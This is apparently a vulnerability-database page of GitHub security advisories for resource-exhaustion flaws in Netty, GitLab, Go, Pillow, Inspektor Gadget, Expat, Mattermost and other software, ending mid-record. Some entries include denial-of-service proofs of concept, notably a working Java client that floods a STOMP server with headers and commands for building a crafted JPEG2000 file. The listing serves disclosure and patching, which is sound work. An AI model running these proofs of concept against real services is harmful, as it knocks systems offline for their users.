CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3510 vulnerabilities reference this CWE, most recent first.
GHSA-VHCH-2WF3-M8RP
Vulnerability from github – Published: 2026-07-14 20:16 – Updated: 2026-07-14 20:16Summary
The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.
Details
io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.
PoC
Run the server with -Xmx256m
public final class ServerApp {
public static void main(String[] args) throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
ChannelFuture serverFuture = new ServerBootstrap()
.group(group)
.channel(NioServerSocketChannel.class)
.childHandler(new StompSubframeDecoder())
.bind(8080)
.sync();
serverFuture.channel().closeFuture().sync();
} finally {
group.shutdownGracefully();
}
}
}
public final class ClientApp {
public static void main(String[] args) throws Exception {
try (Socket socket = new Socket("127.0.0.1", 8080)) {
OutputStream out = socket.getOutputStream();
out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));
StringBuilder sb = new StringBuilder();
for (int i = 0; i < 1000; i++) {
sb.append("a:1\n");
}
byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);
for (int i = 1; i <= 50_000; i++) {
out.write(bulkHeaders);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Impact
Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-stomp"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-stomp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44891"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T20:16:34Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.\n\n### Details\n`io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.\n\n### PoC\nRun the server with `-Xmx256m`\n\n```java\npublic final class ServerApp {\n public static void main(String[] args) throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n ChannelFuture serverFuture = new ServerBootstrap()\n .group(group)\n .channel(NioServerSocketChannel.class)\n .childHandler(new StompSubframeDecoder())\n .bind(8080)\n .sync();\n serverFuture.channel().closeFuture().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n}\n```\n\n```java\npublic final class ClientApp {\n public static void main(String[] args) throws Exception {\n try (Socket socket = new Socket(\"127.0.0.1\", 8080)) {\n OutputStream out = socket.getOutputStream();\n\n out.write(\"CONNECT\\n\".getBytes(StandardCharsets.UTF_8));\n\n StringBuilder sb = new StringBuilder();\n for (int i = 0; i \u003c 1000; i++) {\n sb.append(\"a:1\\n\");\n }\n byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);\n\n for (int i = 1; i \u003c= 50_000; i++) {\n out.write(bulkHeaders);\n }\n } catch (Exception e) {\n e.printStackTrace();\n }\n }\n}\n```\n\n### Impact\nDenial of Service: An attacker can easily exhaust the server\u0027s memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.",
"id": "GHSA-vhch-2wf3-m8rp",
"modified": "2026-07-14T20:16:34Z",
"published": "2026-07-14T20:16:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder"
}
GHSA-VHMR-XXMG-QHFG
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-22 18:31GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.6 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an authenticated user to cause denial of service under certain conditions by exhausting server resources by making crafted requests to a discussions endpoint.
{
"affected": [],
"aliases": [
"CVE-2025-0186"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T17:16:32Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 10.6 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an authenticated user to cause denial of service under certain conditions by exhausting server resources by making crafted requests to a discussions endpoint.",
"id": "GHSA-vhmr-xxmg-qhfg",
"modified": "2026-04-22T18:31:44Z",
"published": "2026-04-22T18:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0186"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2915694"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/511312"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VJ2X-6GJJ-JVH2
Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22Go before 1.10.8 and 1.11.x before 1.11.5 mishandles P-521 and P-384 elliptic curves, which allows attackers to cause a denial of service (CPU consumption) or possibly conduct ECDH private key recovery attacks.
{
"affected": [],
"aliases": [
"CVE-2019-6486"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-01-24T05:29:00Z",
"severity": "HIGH"
},
"details": "Go before 1.10.8 and 1.11.x before 1.11.5 mishandles P-521 and P-384 elliptic curves, which allows attackers to cause a denial of service (CPU consumption) or possibly conduct ECDH private key recovery attacks.",
"id": "GHSA-vj2x-6gjj-jvh2",
"modified": "2022-05-13T01:22:42Z",
"published": "2022-05-13T01:22:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6486"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/issues/29903"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/commit/42b42f71cf8f5956c09e66230293dfb5db652360"
},
{
"type": "WEB",
"url": "https://github.com/google/wycheproof"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/golang-announce/mVeX35iXuSw"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00009.html"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4379"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4380"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00042.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00060.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00011.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00015.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/106740"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VJC4-5QP5-M44J
Vulnerability from github – Published: 2026-07-20 23:18 – Updated: 2026-07-20 23:18Summary
src/libImaging/Jpeg2KDecode.c:853 accumulates total_component_width across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tile_bytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details
- Location:
src/libImaging/Jpeg2KDecode.c:853 - Root cause:
total_component_widthis initialized only once before the tile loop and keeps growing across tiles. It is then used to derivetile_bytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation:
tile_bytesis promoted intotile_info.data_size, thenstate->bufferis grown withreallocatsrc/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal
Image.open(...).load()decoding.
PoC
The attached helper script and testcase were used: exercise_j2k_tile_realloc.zip
Generate the testcase:
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832
Expected geometry from the helper:
- image size:
3664 x 3664 - mode:
RGBA - tile size:
1832 x 1832(2x2tiles) image_bytes=53699584- uncapped RSS observed:
- vulnerable build:
maxrss_kb=180264 - fixed comparison build:
maxrss_kb=138404
Load it with the current vulnerable build:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2
Load it again under a 160 MB address-space cap:
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pillow"
},
"ranges": [
{
"events": [
{
"introduced": "8.2.0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59204"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T23:18:32Z",
"nvd_published_at": "2026-07-14T16:17:02Z",
"severity": "HIGH"
},
"details": "### Summary\n`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state-\u003ebuffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image\u0027s decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.\n\n### Details\n- Location: `src/libImaging/Jpeg2KDecode.c:853`\n- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.\n- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state-\u003ebuffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.\n- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.\n\n\n### PoC\nThe attached helper script and testcase were used:\n[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)\n\n\nGenerate the testcase:\n\n```bash\npythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \\\n --size 3664 --tile 1832\n```\n\nExpected geometry from the helper:\n\n- image size: `3664 x 3664`\n- mode: `RGBA`\n- tile size: `1832 x 1832` (`2x2` tiles)\n- `image_bytes=53699584`\n- uncapped RSS observed:\n - vulnerable build: `maxrss_kb=180264`\n - fixed comparison build: `maxrss_kb=138404`\n\nLoad it with the current vulnerable build:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2\n```\n\nLoad it again under a 160 MB address-space cap:\n\n```bash\npython exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160\n```\n\n### Impact\nConservative impact: denial of service through memory exhaustion during JPEG2000 decoding.",
"id": "GHSA-vjc4-5qp5-m44j",
"modified": "2026-07-20T23:18:33Z",
"published": "2026-07-20T23:18:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-vjc4-5qp5-m44j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59204"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/pull/9704"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/13ada41172142f2fd9f0906f615a00ea623a11ca"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service"
}
GHSA-VJHX-2CQW-3Q6Q
Vulnerability from github – Published: 2026-08-19 19:16 – Updated: 2026-08-19 19:16Summary
An unprivileged container can block all other containers from starting on the
same host by placing a crafted /etc/ld.so.cache file in its filesystem. When
Inspektor Gadget attaches any uprobe-based gadget, it parses this file in the
container startup path. A malicious cache causes ~53 seconds of CPU burn,
during which Docker cannot start any other container. No special capabilities
are required.
Severity
To be assessed — Availability impact, no confidentiality or integrity impact.
Affected Versions
All versions of Inspektor Gadget that support uprobe-based gadgets (trace_malloc, trace_open, trace_ssl, trace_grpc, etc.).
Description
When Inspektor Gadget attaches uprobe-based gadgets to containers, it resolves library paths by parsing the container's /etc/ld.so.cache file (pkg/uprobetracer/ldcache_parser.go). This file is fully controlled by the container.
The parser has three vulnerabilities:
-
Quadratic string building (
pkg/uprobetracer/bytes.go:36-44): ThereadStringFromBytesfunction concatenates one byte at a time (res += string(data[i])), which is O(n²) in Go due to string immutability. With a 16MB cache file containing large regions without null terminators, this causes massive CPU and memory churn. -
Insufficient entry count validation (
pkg/uprobetracer/ldcache_parser.go:120): TheEntryCountfield is read directly from the untrusted file. While a per-entry bounds check prevents out-of-bounds access, the loop still iterates up to(fileSize - headerSize) / entrySize ≈ 700,000times, callingreadStringFromByteson each iteration. -
Integer overflow in format detection (
pkg/uprobetracer/ldcache_parser.go:174): Thecache1Lencomputation uses uint32 arithmetic (ldCache1Size + cache1.EntryCount*ldCache1EntrySize). With a craftedEntryCount, this overflows and produces a small value, causing the parser to misidentify the cache format.
Combined, these cause ~53 seconds of CPU burn per container attachment when a crafted 16MB /etc/ld.so.cache is present.
Impact
- Container runtime DoS: IG uses fanotify hooks (
pkg/container-hook) to pause container startup until uprobe attachment completes. While IG is blocked processing the malicious cache, this pause is held, and Docker serializes container starts — meaning no other container can start on the host until IG finishes. This effectively causes a denial of service on the entire container runtime, not just on IG itself. - Container startup delay: When any uprobe-based gadget is running (trace_malloc, trace_ssl, etc.), starting a container with a crafted ld.so.cache delays startup by ~1 minute.
- Monitoring degradation: The IG daemon is blocked processing the malicious cache, potentially missing events from other containers.
- Amplification: Multiple containers with crafted caches can be started simultaneously to amplify the effect.
- No special privileges required: Any container can include a crafted
/etc/ld.so.cachein its image, mount one via a volume, or overwrite it at runtime before IG starts a uprobe gadget. In this last case, IG inspects all already-running containers when the gadget starts — this still burns CPU but does not block other containers from starting (since the fanotify pause only applies to new container starts).
Root Cause Analysis
In pkg/uprobetracer/ldcache_parser.go, the function readCacheFormat2 is called with the full file content:
for i := uint32(0); i < ldCache.EntryCount; i++ {
entryOffset := ldEntriesOffset + i*ldCache2EntrySize
if uint32(len(data)) <= entryOffset+ldCache2EntrySize {
return nil // bounds check stops iteration
}
// ... reads entry ...
key := readStringFromBytes(data, keyOffset) // O(n²) per call
value := readStringFromBytes(data, valueOffset) // O(n²) per call
}
The per-entry bounds check correctly prevents out-of-bounds access, but:
- The loop iterates ~700K times (limited by file size, not EntryCount)
- Each readStringFromBytes call uses quadratic string concatenation
In pkg/uprobetracer/bytes.go:
func readStringFromBytes(data []byte, startPos uint32) string {
res := ""
for i := startPos; i < uint32(len(data)); i++ {
if data[i] == 0 {
return res
}
res += string(data[i]) // O(n²) — allocates new string each iteration
}
return ""
}
Note on Slice Bounds Checks
The code also performs slice accesses without proper bounds checks (e.g.,
data[:len(cache2Header)] when data may be shorter than 20 bytes, and
ldCacheFile[:len(cache1Header)] when the file may be shorter than 11 bytes).
In practice, a malicious container cannot currently trigger a panic from these
missing checks. This is because Go's io.ReadAll (used to read the file) always
returns slices with cap >= 512 due to its initial buffer allocation
(make([]byte, 0, 512) in Go's standard library). In Go, s[:n] only panics
when n > cap(s), not when n > len(s). Since both header lengths (11 and 20)
are well below 512, the slice expressions succeed — they simply read zero bytes
beyond len, which don't match any valid header magic.
However, this relies on an undocumented implementation detail of io.ReadAll
which could change in future Go versions. The bounds checks are still necessary
for correctness and defense in depth.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/inspektor-gadget/inspektor-gadget"
},
"ranges": [
{
"events": [
{
"introduced": "0.27.0"
},
{
"fixed": "0.53.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53941"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-19T19:16:35Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAn unprivileged container can block all other containers from starting on the\nsame host by placing a crafted `/etc/ld.so.cache` file in its filesystem. When\nInspektor Gadget attaches any uprobe-based gadget, it parses this file in the\ncontainer startup path. A malicious cache causes ~53 seconds of CPU burn,\nduring which Docker cannot start any other container. No special capabilities\nare required.\n\n## Severity\n\nTo be assessed \u2014 Availability impact, no confidentiality or integrity impact.\n\n## Affected Versions\n\nAll versions of Inspektor Gadget that support uprobe-based gadgets (trace_malloc, trace_open, trace_ssl, trace_grpc, etc.).\n\n## Description\n\nWhen Inspektor Gadget attaches uprobe-based gadgets to containers, it resolves library paths by parsing the container\u0027s `/etc/ld.so.cache` file (`pkg/uprobetracer/ldcache_parser.go`). This file is fully controlled by the container.\n\nThe parser has three vulnerabilities:\n\n1. **Quadratic string building** (`pkg/uprobetracer/bytes.go:36-44`): The `readStringFromBytes` function concatenates one byte at a time (`res += string(data[i])`), which is O(n\u00b2) in Go due to string immutability. With a 16MB cache file containing large regions without null terminators, this causes massive CPU and memory churn.\n\n2. **Insufficient entry count validation** (`pkg/uprobetracer/ldcache_parser.go:120`): The `EntryCount` field is read directly from the untrusted file. While a per-entry bounds check prevents out-of-bounds access, the loop still iterates up to `(fileSize - headerSize) / entrySize \u2248 700,000` times, calling `readStringFromBytes` on each iteration.\n\n3. **Integer overflow in format detection** (`pkg/uprobetracer/ldcache_parser.go:174`): The `cache1Len` computation uses uint32 arithmetic (`ldCache1Size + cache1.EntryCount*ldCache1EntrySize`). With a crafted `EntryCount`, this overflows and produces a small value, causing the parser to misidentify the cache format.\n\nCombined, these cause ~53 seconds of CPU burn per container attachment when a crafted 16MB `/etc/ld.so.cache` is present.\n\n## Impact\n\n- **Container runtime DoS**: IG uses fanotify hooks (`pkg/container-hook`) to pause container startup until uprobe attachment completes. While IG is blocked processing the malicious cache, this pause is held, and Docker serializes container starts \u2014 meaning no other container can start on the host until IG finishes. This effectively causes a denial of service on the entire container runtime, not just on IG itself.\n- **Container startup delay**: When any uprobe-based gadget is running (trace_malloc, trace_ssl, etc.), starting a container with a crafted ld.so.cache delays startup by ~1 minute.\n- **Monitoring degradation**: The IG daemon is blocked processing the malicious cache, potentially missing events from other containers.\n- **Amplification**: Multiple containers with crafted caches can be started simultaneously to amplify the effect.\n- **No special privileges required**: Any container can include a crafted `/etc/ld.so.cache` in its image, mount one via a volume, or overwrite it at runtime before IG starts a uprobe gadget. In this last case, IG inspects all already-running containers when the gadget starts \u2014 this still burns CPU but does not block other containers from starting (since the fanotify pause only applies to new container starts).\n\n## Root Cause Analysis\n\nIn `pkg/uprobetracer/ldcache_parser.go`, the function `readCacheFormat2` is called with the full file content:\n\n```go\nfor i := uint32(0); i \u003c ldCache.EntryCount; i++ {\n entryOffset := ldEntriesOffset + i*ldCache2EntrySize\n if uint32(len(data)) \u003c= entryOffset+ldCache2EntrySize {\n return nil // bounds check stops iteration\n }\n // ... reads entry ...\n key := readStringFromBytes(data, keyOffset) // O(n\u00b2) per call\n value := readStringFromBytes(data, valueOffset) // O(n\u00b2) per call\n}\n```\n\nThe per-entry bounds check correctly prevents out-of-bounds access, but:\n- The loop iterates ~700K times (limited by file size, not EntryCount)\n- Each `readStringFromBytes` call uses quadratic string concatenation\n\nIn `pkg/uprobetracer/bytes.go`:\n\n```go\nfunc readStringFromBytes(data []byte, startPos uint32) string {\n res := \"\"\n for i := startPos; i \u003c uint32(len(data)); i++ {\n if data[i] == 0 {\n return res\n }\n res += string(data[i]) // O(n\u00b2) \u2014 allocates new string each iteration\n }\n return \"\"\n}\n```\n\n## Note on Slice Bounds Checks\n\nThe code also performs slice accesses without proper bounds checks (e.g.,\n`data[:len(cache2Header)]` when `data` may be shorter than 20 bytes, and\n`ldCacheFile[:len(cache1Header)]` when the file may be shorter than 11 bytes).\n\nIn practice, a malicious container **cannot currently trigger a panic** from these\nmissing checks. This is because Go\u0027s `io.ReadAll` (used to read the file) always\nreturns slices with `cap \u003e= 512` due to its initial buffer allocation\n(`make([]byte, 0, 512)` in Go\u0027s standard library). In Go, `s[:n]` only panics\nwhen `n \u003e cap(s)`, not when `n \u003e len(s)`. Since both header lengths (11 and 20)\nare well below 512, the slice expressions succeed \u2014 they simply read zero bytes\nbeyond `len`, which don\u0027t match any valid header magic.\n\nHowever, this relies on an **undocumented implementation detail** of `io.ReadAll`\nwhich could change in future Go versions. The bounds checks are still necessary\nfor correctness and defense in depth.",
"id": "GHSA-vjhx-2cqw-3q6q",
"modified": "2026-08-19T19:16:35Z",
"published": "2026-08-19T19:16:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-vjhx-2cqw-3q6q"
},
{
"type": "PACKAGE",
"url": "https://github.com/inspektor-gadget/inspektor-gadget"
},
{
"type": "WEB",
"url": "https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.53.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Uprobe gadgets: unprivileged container\u0027s ld.so.cache causes high CPU utilization and container startup DoS"
}
GHSA-VJQP-PJP6-XCXX
Vulnerability from github – Published: 2025-09-15 03:32 – Updated: 2025-09-17 15:30libexpat in Expat before 2.7.2 allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing.
{
"affected": [],
"aliases": [
"CVE-2025-59375"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T03:15:40Z",
"severity": "HIGH"
},
"details": "libexpat in Expat before 2.7.2 allows attackers to trigger large dynamic memory allocations via a small document that is submitted for parsing.",
"id": "GHSA-vjqp-pjp6-xcxx",
"modified": "2025-09-17T15:30:26Z",
"published": "2025-09-15T03:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59375"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/issues/1018"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/pull/1034"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/blob/676a4c531ec768732fac215da9730b5f50fbd2bf/expat/Changes#L45-L74"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/blob/R_2_7_2/expat/Changes"
},
{
"type": "WEB",
"url": "https://issues.oss-fuzz.com/issues/439133977"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VM2V-9GWC-QH4R
Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:07JetBrains PyCharm before 2019.2 was allocating a buffer of unknown size for one of the connection processes. In a very specific situation, it could lead to a remote invocation of an OOM error message because of Uncontrolled Memory Allocation.
{
"affected": [],
"aliases": [
"CVE-2019-14958"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-10-02T19:15:00Z",
"severity": "HIGH"
},
"details": "JetBrains PyCharm before 2019.2 was allocating a buffer of unknown size for one of the connection processes. In a very specific situation, it could lead to a remote invocation of an OOM error message because of Uncontrolled Memory Allocation.",
"id": "GHSA-vm2v-9gwc-qh4r",
"modified": "2024-04-04T02:07:57Z",
"published": "2022-05-24T16:57:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14958"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2019/09/26/jetbrains-security-bulletin-q2-2019"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VM9M-57JR-4PXH
Vulnerability from github – Published: 2024-02-29 12:31 – Updated: 2024-12-13 20:29Mattermost versions 8.1.x before 8.1.9, 9.2.x before 9.2.5, 9.3.0, and 9.4.x before 9.4.2 fail to limit the number of role names requested from the API, allowing an authenticated attacker to cause the server to run out of memory and crash by issuing an unusually large HTTP request.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"fixed": "9.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.3.0"
},
{
"fixed": "9.3.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "9.2.0"
},
{
"fixed": "9.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1953"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-29T22:49:32Z",
"nvd_published_at": "2024-02-29T11:15:08Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 8.1.x before 8.1.9, 9.2.x before 9.2.5, 9.3.0, and 9.4.x before 9.4.2 fail to limit the number of role names requested from the API, allowing an authenticated attacker to cause the server to run out of memory and crash by issuing an unusually large HTTP request.\n\n",
"id": "GHSA-vm9m-57jr-4pxh",
"modified": "2024-12-13T20:29:02Z",
"published": "2024-02-29T12:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1953"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2594"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mattermost fails to limit the number of role names"
}
GHSA-VMF9-Q8Q4-WG87
Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-05-24 17:20An issue was discovered in LibVNCServer before 0.9.13. libvncclient/rfbproto.c does not limit TextChat size.
{
"affected": [],
"aliases": [
"CVE-2020-14405"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-17T16:15:00Z",
"severity": "HIGH"
},
